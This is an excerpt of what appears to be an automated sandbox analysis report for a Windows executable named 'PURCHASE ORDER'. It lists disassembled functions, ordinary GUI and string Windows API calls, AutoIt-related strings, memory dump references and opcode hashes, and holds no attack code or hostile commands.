                                                                          • Instruction Fuzzy Hash: 27B19F71205301AFD324DF68DD45B6BB7E4FB88710F108A2EFA9587290DBB5E844CB5A
                                                                          Function 00448759 Relevance: 31.8, APIs: 17, Strings: 1, Instructions: 311COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • SetWindowPos.USER32(004A83D8,00000000,00000000,00000000,00000000,00000000,00000013,004A83D8,?,?), ref: 0044880A
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Window
                                                                          • String ID: 0
                                                                          • API String ID: 2353593579-4108050209
                                                                          • Opcode ID: ca380a5f1b7b22306afb7d181ee8588f63c71b92ae7430e038360cbc2591eaeb
                                                                          • Instruction ID: 13976ff69904029c6bcd7d6129a783336058688c161485e0dcc644b2654616cc
                                                                          • Opcode Fuzzy Hash: ca380a5f1b7b22306afb7d181ee8588f63c71b92ae7430e038360cbc2591eaeb
                                                                          • Instruction Fuzzy Hash: 94B19DB02443419FF324CF14C889BABBBE4EB89744F14491EF991972D1DBB8E845CB5A
                                                                          Function 0044A0EA Relevance: 31.7, APIs: 21, Instructions: 196windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • GetSysColor.USER32 ref: 0044A11D
                                                                          • GetClientRect.USER32(?,?), ref: 0044A18D
                                                                          • SendMessageW.USER32(?,00001328,00000000,?), ref: 0044A1A6
                                                                          • GetWindowDC.USER32(?), ref: 0044A1B3
                                                                          • GetPixel.GDI32(00000000,?,?), ref: 0044A1C6
                                                                          • ReleaseDC.USER32(?,00000000), ref: 0044A1D6
                                                                          • GetSysColor.USER32(0000000F), ref: 0044A1EC
                                                                          • GetWindowLongW.USER32(?,000000F0), ref: 0044A207
                                                                          • GetSysColor.USER32(0000000F), ref: 0044A216
                                                                          • GetSysColor.USER32(00000005), ref: 0044A21E
                                                                          • GetWindowDC.USER32 ref: 0044A277
                                                                          • GetPixel.GDI32(00000000,00000000,00000000), ref: 0044A28A
                                                                          • GetPixel.GDI32(00000000,?,00000000), ref: 0044A29F
                                                                          • GetPixel.GDI32(00000000,00000000,?), ref: 0044A2B4
                                                                          • GetPixel.GDI32(00000000,?,?), ref: 0044A2D0
                                                                          • ReleaseDC.USER32(?,00000000), ref: 0044A2D8
                                                                          • SetTextColor.GDI32(00000000,?), ref: 0044A2F6
                                                                          • SetBkMode.GDI32(00000000,00000001), ref: 0044A30A
                                                                          • GetStockObject.GDI32(00000005), ref: 0044A312
                                                                          • SetBkColor.GDI32(00000000,00000000), ref: 0044A328
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Color$Pixel$Window$Release$ClientLongMessageModeObjectRectSendStockText
                                                                          • String ID:
                                                                          • API String ID: 1744303182-0
                                                                          • Opcode ID: c697551d262e08263a45fd1ab6b47457a8b4de30e4a023901e5f3e03e0b3260a
                                                                          • Instruction ID: f407f88e1fc9bdd08975b2e96734b256c85d8f08b0ead5e1f8dbf5832e348edb
                                                                          • Opcode Fuzzy Hash: c697551d262e08263a45fd1ab6b47457a8b4de30e4a023901e5f3e03e0b3260a
                                                                          • Instruction Fuzzy Hash: AD6148315442016BE3209B388C88BBFB7A4FB49324F54079EF9A8973D0D7B99C51D76A
                                                                          Function 0046884B Relevance: 31.6, APIs: 6, Strings: 12, Instructions: 113COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: __wcsicoll$__wcsnicmp
                                                                          • String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
                                                                          • API String ID: 790654849-1810252412
                                                                          • Opcode ID: 3ef763bd77a89c14e9ef14da431a542ecfa9ee53dca0875bc5fd58ba0035de2e
                                                                          • Instruction ID: 1b62209f2aa4de5792947d5a3aa61dcd1c874d3672784017b8f4b2c72f71c34c
                                                                          • Opcode Fuzzy Hash: 3ef763bd77a89c14e9ef14da431a542ecfa9ee53dca0875bc5fd58ba0035de2e
                                                                          • Instruction Fuzzy Hash: 7A3193B1644301A7CA00FA61DC83F5B73A85F54759F100A3FB955B61D6FA6CEA0C862F
                                                                          Function 0046CAAA Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 229COMMON
                                                                          Download Yara Rule
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID: >>>AUTOIT SCRIPT<<<$\
                                                                          • API String ID: 0-1896584978
                                                                          • Opcode ID: 044f2c4ecf877d2b2fc48157703a0e30c53185d3f7c6c17f150f9ffb4993ef22
                                                                          • Instruction ID: e6fbcda15cb9520e0e34bfac0f9750edaedb1b44b840e2dcfb1a2c219c195b9a
                                                                          • Opcode Fuzzy Hash: 044f2c4ecf877d2b2fc48157703a0e30c53185d3f7c6c17f150f9ffb4993ef22
                                                                          • Instruction Fuzzy Hash: 907186B2504300ABC720EB65C885FEBB3E8AF94714F148D1FF58997142E679E648C75A
                                                                          Function 00476A8A Relevance: 27.3, APIs: 18, Instructions: 332COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: InitVariant
                                                                          • String ID:
                                                                          • API String ID: 1927566239-0
                                                                          • Opcode ID: 0ce8a0180f427c6633dd7a645a706da8f2470da33a28fd12fcc8bbcffff15558
                                                                          • Instruction ID: b17386a2766a1a739d91313a8bf0106a5dd250ff49ec0cac6ee5761d63536315
                                                                          • Opcode Fuzzy Hash: 0ce8a0180f427c6633dd7a645a706da8f2470da33a28fd12fcc8bbcffff15558
                                                                          • Instruction Fuzzy Hash: 87A1F5766146019FC300EF65D88499FB7AAFF85315F408D3EFA49C3211D77AD4098BAA
                                                                          Function 0046D6EB Relevance: 26.7, APIs: 6, Strings: 9, Instructions: 474COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                            • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                          • GetForegroundWindow.USER32(?,?), ref: 0046D7C1
                                                                          • GetForegroundWindow.USER32 ref: 0046DBA4
                                                                          • IsWindow.USER32(?), ref: 0046DBDE
                                                                          • GetDesktopWindow.USER32 ref: 0046DCB5
                                                                          • EnumChildWindows.USER32(00000000), ref: 0046DCBC
                                                                          • EnumWindows.USER32(00460772,?), ref: 0046DCC4
                                                                            • Part of subcall function 00445975: _wcslen.LIBCMT ref: 00445984
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Window$EnumForegroundWindows_wcslen$ChildDesktop
                                                                          • String ID: ACTIVE$ALL$CLASS$HANDLE$INSTANCE$LAST$REGEXPCLASS$REGEXPTITLE$TITLE
                                                                          • API String ID: 1322021666-1919597938
                                                                          • Opcode ID: f0ae0bd5c84c8fbd9fa80e8b17a650ade3f6139d63811c55da114ce2128ba9af
                                                                          • Instruction ID: 252cd24da08a8cddfda52e39780f3f39bafd894638fb43d2866a45805a666b3e
                                                                          • Opcode Fuzzy Hash: f0ae0bd5c84c8fbd9fa80e8b17a650ade3f6139d63811c55da114ce2128ba9af
                                                                          • Instruction Fuzzy Hash: 96F1C571D143409BCB00EF61C881EAB73A4BF95308F44496FF9456B286E77DE909CB6A
                                                                          Function 0043737D Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 83windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: __wcsicoll$IconLoad
                                                                          • String ID: blank$info$question$stop$warning
                                                                          • API String ID: 2485277191-404129466
                                                                          • Opcode ID: 5bed60ec3368b378429e4d7d86c3e9ed6cb6a0c6f582f3c961ebbe10ae210b10
                                                                          • Instruction ID: 3fdcc892c2a25cebf9aff257507665a297d4e16c4260cb8f6e9492a672fb13e0
                                                                          • Opcode Fuzzy Hash: 5bed60ec3368b378429e4d7d86c3e9ed6cb6a0c6f582f3c961ebbe10ae210b10
                                                                          • Instruction Fuzzy Hash: CB2128B6B08301A7D610A725BC05FDF27489FA8365F004C2BF941E2283F3A8A45583BD
                                                                          Function 00428604 Relevance: 25.8, APIs: 17, Instructions: 306stringCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • CompareStringW.KERNEL32(?,?,004832AC,00000001,004832AC,00000001), ref: 00428611
                                                                          • GetLastError.KERNEL32(?,?,004832AC,00000001,004832AC,00000001), ref: 00428627
                                                                          • strncnt.LIBCMT ref: 00428646
                                                                          • strncnt.LIBCMT ref: 0042865A
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: strncnt$CompareErrorLastString
                                                                          • String ID:
                                                                          • API String ID: 1776594460-0
                                                                          • Opcode ID: 16ce8c3a65625fd7540c51b5c1254bfa478756f7f63d0819a38d9cd03b2976a4
                                                                          • Instruction ID: 056e5a993d73ec50dc3c8e072878bb631c9b69e1f80941a2a69bbd8adeb14d7f
                                                                          • Opcode Fuzzy Hash: 16ce8c3a65625fd7540c51b5c1254bfa478756f7f63d0819a38d9cd03b2976a4
                                                                          • Instruction Fuzzy Hash: 0DA1B131B01225AFDF219F61EC41AAF7BB6AF94340FA4402FF81196251DF3D8891CB58
                                                                          Function 004545C9 Relevance: 25.7, APIs: 17, Instructions: 198windowtimeCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • LoadIconW.USER32(?,00000063), ref: 004545DA
                                                                          • SendMessageW.USER32(?,00000080,00000000,00000000), ref: 004545EC
                                                                          • SetWindowTextW.USER32(?,?), ref: 00454606
                                                                          • GetDlgItem.USER32(?,000003EA), ref: 0045461F
                                                                          • SetWindowTextW.USER32(00000000,?), ref: 00454626
                                                                          • GetDlgItem.USER32(?,000003E9), ref: 00454637
                                                                          • SetWindowTextW.USER32(00000000,?), ref: 0045463E
                                                                          • SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00454663
                                                                          • SendDlgItemMessageW.USER32(?,000003E9,000000C5,?,00000000), ref: 0045467D
                                                                          • GetWindowRect.USER32(?,?), ref: 00454688
                                                                          • SetWindowTextW.USER32(?,?), ref: 004546FD
                                                                          • GetDesktopWindow.USER32 ref: 00454708
                                                                          • GetWindowRect.USER32(00000000), ref: 0045470F
                                                                          • MoveWindow.USER32(?,?,00000000,?,?,00000000), ref: 00454760
                                                                          • GetClientRect.USER32(?,?), ref: 0045476F
                                                                          • PostMessageW.USER32(?,00000005,00000000,?), ref: 0045479E
                                                                          • SetTimer.USER32(?,0000040A,?,00000000), ref: 004547E9
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
                                                                          • String ID:
                                                                          • API String ID: 3869813825-0
                                                                          • Opcode ID: d6d25c813e590b752cbfd9858452ff05e3d443d6a6ce6916d89e520ab15b373f
                                                                          • Instruction ID: 4e77de65cc6986e78e6be143d0a4b9e7f39e78804b6f4fc71fe9e35dfcfd5046
                                                                          • Opcode Fuzzy Hash: d6d25c813e590b752cbfd9858452ff05e3d443d6a6ce6916d89e520ab15b373f
                                                                          • Instruction Fuzzy Hash: 8C616D71604701AFD320DF68CD88F2BB7E8AB88709F004E1DF98697691D7B8E849CB55
                                                                          Function 00458D1C Relevance: 25.6, APIs: 17, Instructions: 112COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • LoadCursorW.USER32(00000000,00007F8A), ref: 00458D2D
                                                                          • LoadCursorW.USER32(00000000,00007F00), ref: 00458D3A
                                                                          • LoadCursorW.USER32(00000000,00007F03), ref: 00458D47
                                                                          • LoadCursorW.USER32(00000000,00007F8B), ref: 00458D54
                                                                          • LoadCursorW.USER32(00000000,00007F01), ref: 00458D61
                                                                          • LoadCursorW.USER32(00000000,00007F81), ref: 00458D6E
                                                                          • LoadCursorW.USER32(00000000,00007F88), ref: 00458D7B
                                                                          • LoadCursorW.USER32(00000000,00007F80), ref: 00458D88
                                                                          • LoadCursorW.USER32(00000000,00007F86), ref: 00458D95
                                                                          • LoadCursorW.USER32(00000000,00007F83), ref: 00458DA2
                                                                          • LoadCursorW.USER32(00000000,00007F85), ref: 00458DAF
                                                                          • LoadCursorW.USER32(00000000,00007F82), ref: 00458DBC
                                                                          • LoadCursorW.USER32(00000000,00007F84), ref: 00458DC9
                                                                          • LoadCursorW.USER32(00000000,00007F04), ref: 00458DD6
                                                                          • LoadCursorW.USER32(00000000,00007F02), ref: 00458DE3
                                                                          • LoadCursorW.USER32(00000000,00007F89), ref: 00458DF0
                                                                          • GetCursorInfo.USER32 ref: 00458E03
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Cursor$Load$Info
                                                                          • String ID:
                                                                          • API String ID: 2577412497-0
                                                                          • Opcode ID: 0c78b259ae472df09145ddf792cd37f85d2c816b82f1d484569203a38ef646a1
                                                                          • Instruction ID: 36b4ee280ed0253346847529aeb00c95e660e1b7f2a6688567eec4957a26740b
                                                                          • Opcode Fuzzy Hash: 0c78b259ae472df09145ddf792cd37f85d2c816b82f1d484569203a38ef646a1
                                                                          • Instruction Fuzzy Hash: D9311671E4C3156AE7509F758C5AB1BBEE0AF40B54F004D2FF2889F2D1DAB9E4448B86
                                                                          Function 00469681 Relevance: 24.8, APIs: 13, Strings: 1, Instructions: 253windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • PostMessageW.USER32(?,00000112,0000F060,00000000), ref: 004696CC
                                                                          • GetFocus.USER32 ref: 004696E0
                                                                          • GetDlgCtrlID.USER32(00000000), ref: 004696EB
                                                                          • PostMessageW.USER32(?,00000111,?,00000000), ref: 0046973F
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: MessagePost$CtrlFocus
                                                                          • String ID: 0
                                                                          • API String ID: 1534620443-4108050209
                                                                          • Opcode ID: e5c32c991b5ca6252707de8ebf482154a45a931f584edf505bd4e03ae59cba12
                                                                          • Instruction ID: 7d80af5808d25915b866e76daf530f36ef8b085de22dc1c7fc8dbb607ae8adb7
                                                                          • Opcode Fuzzy Hash: e5c32c991b5ca6252707de8ebf482154a45a931f584edf505bd4e03ae59cba12
                                                                          • Instruction Fuzzy Hash: 1591E1B1604301ABD710DF14D884BABB7A8FB89714F004A1EF99497391E7B4DC49CBAB
                                                                          Function 004680EB Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 204windowCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • _memset.LIBCMT ref: 00468107
                                                                          • GetMenuItemInfoW.USER32(?,00000007,00000000,?), ref: 00468190
                                                                          • GetMenuItemCount.USER32(?), ref: 00468227
                                                                          • DeleteMenu.USER32(?,00000005,00000000), ref: 004682B8
                                                                          • DeleteMenu.USER32(?,00000004,00000000), ref: 004682C1
                                                                          • DeleteMenu.USER32(?,00000006,00000000,?,00000004,00000000), ref: 004682CA
                                                                          • DeleteMenu.USER32(00000000,00000003,00000000,?,00000006,00000000,?,00000004,00000000), ref: 004682D3
                                                                          • GetMenuItemCount.USER32 ref: 004682DC
                                                                          • SetMenuItemInfoW.USER32 ref: 00468317
                                                                          • GetCursorPos.USER32(00000000), ref: 00468322
                                                                          • SetForegroundWindow.USER32(?), ref: 0046832D
                                                                          • TrackPopupMenuEx.USER32(?,00000000,00000000,00000006,?,00000000,?,?,00000006,00000000,?,00000004,00000000), ref: 00468345
                                                                          • PostMessageW.USER32(?,00000000,00000000,00000000), ref: 00468352
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: Menu$DeleteItem$CountInfo$CursorForegroundMessagePopupPostTrackWindow_memset
                                                                          • String ID: 0
                                                                          • API String ID: 3993528054-4108050209
                                                                          • Opcode ID: d5573be1ba1a613c106f8e764602a2d45d8b266f51cd1eb04f60dea375430468
                                                                          • Instruction ID: a450cccb4b36e122d1eca3afa35c85d1e57e2007e4dd5bc50ce81cada7f4397f
                                                                          • Opcode Fuzzy Hash: d5573be1ba1a613c106f8e764602a2d45d8b266f51cd1eb04f60dea375430468
                                                                          • Instruction Fuzzy Hash: 3C71C070648301ABE3309B14CC49F5BB7E8BF86724F244B0EF5A5563D1DBB9A8458B1B
                                                                          Function 0046F2B0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 185windowfileCOMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          • DragQueryPoint.SHELL32(?,?), ref: 0046F2DA
                                                                            • Part of subcall function 00441CB4: ClientToScreen.USER32(00000000,?), ref: 00441CDE
                                                                            • Part of subcall function 00441CB4: GetWindowRect.USER32(?,?), ref: 00441D5A
                                                                            • Part of subcall function 00441CB4: PtInRect.USER32(?,?,?), ref: 00441D6F
                                                                          • SendMessageW.USER32(?), ref: 0046F34C
                                                                          • DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 0046F355
                                                                          • DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 0046F37F
                                                                          • _wcscat.LIBCMT ref: 0046F3BC
                                                                          • SendMessageW.USER32(?,000000C2,00000001,?), ref: 0046F3D1
                                                                          • SendMessageW.USER32(?,000000B0,?,?), ref: 0046F3E3
                                                                          • SendMessageW.USER32(?,000000B1,?,?), ref: 0046F3F1
                                                                          • SendMessageW.USER32(?,000000B1,?,?), ref: 0046F40E
                                                                          • DragFinish.SHELL32(?), ref: 0046F414
                                                                          • DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 0046F4FC
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_0_2_400000_PURCHASE ORDER.jbxd
                                                                          Similarity
                                                                          • API ID: MessageSend$Drag$Query$FileRect$ClientFinishPointProcScreenWindow_wcscat
                                                                          • String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
                                                                          • API String ID: 4085615965-3440237614
                                                                          • Opcode ID: e6dc8860684545ee98a9b737372e313d8034606243f87d3f07a4344f64e9a130
                                                                          • Instruction ID: d92027b63b9478c52a8b17f069484fb886a707b260a555cedefccfc898d4b85d
                                                                          • Opcode Fuzzy Hash: e6dc8860684545ee98a9b737372e313d8034606243f87d3f07a4344f64e9a130
                                                                          • Instruction Fuzzy Hash: 596170716043009BD700EF54D885E5FB7A8FFC9714F104A2EF99097291D7B8A949CBAA
                                                                          Function 0044B988 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 73COMMON
                                                                          Download Yara Rule
                                                                          APIs
                                                                          Strings
                                                                          Memory Dump Source
                                                                          • Source File: 00000000.00000002.2067965600.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                          • Associated: 00000000.00000002.2067948405.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068010838.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068028936.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                          • Associated: 00000000.00000002.2068063921.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
